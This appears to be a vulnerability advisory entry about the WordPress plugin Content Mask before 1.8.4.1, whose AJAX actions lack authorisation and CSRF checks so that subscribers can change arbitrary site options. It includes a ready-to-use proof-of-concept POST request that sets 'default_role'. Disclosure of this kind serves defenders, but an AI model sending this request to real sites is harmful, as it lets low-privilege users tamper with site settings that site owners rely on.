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wpexploitPtsfenceWPEX-ID:3C9969E5-CA8E-4E5D-A482-C6B5C4257820
HistoryMay 03, 2022 - 12:00 a.m.

Content Mask < 1.8.4.1 - Subscriber+ Arbitrary Options Update

2022-05-0300:00:00
ptsfence
67
content mask
update
subscriber+
security
exploit

EPSS

0.001

Percentile

36.7%

The plugin does not have authorisation and CSRF checks in various AJAX actions, as well as does not validate the option to be updated to ensure it belongs to the plugin. As a result, any authenticated user, such as subscriber could modify arbitrary blog options

POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: [subscriber+]
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 70
Connection: close

action=update_content_mask_option&option=default_role&value=subscriber

EPSS

0.001

Percentile

36.7%

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